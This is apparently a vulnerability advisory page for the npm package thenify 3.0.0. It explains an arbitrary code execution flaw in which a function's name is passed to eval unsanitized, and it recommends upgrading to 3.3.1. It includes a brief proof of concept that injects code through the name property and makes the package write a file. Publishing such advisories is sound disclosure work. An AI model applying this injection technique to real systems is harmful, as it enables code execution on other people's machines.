thenify@3.0.0 vulnerabilities

Promisify a callback-based function

Direct Vulnerabilities

Known vulnerabilities in the thenify package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Arbitrary Code Execution

thenify is a Promisify a callback-based function using any-promise.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The name argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval function without any sanitization.

PoC

var a = require("thenify");
var attack_code = "fs=require('fs');fs.writeFile('Song', 'test',function(){})";
function cur(){};
Object.defineProperty(cur, "name", { value: "fake() {" + attack_code + ";})();(function(){//"});
a(cur);

How to fix Arbitrary Code Execution?

Upgrade thenify to version 3.3.1 or higher.

<3.3.1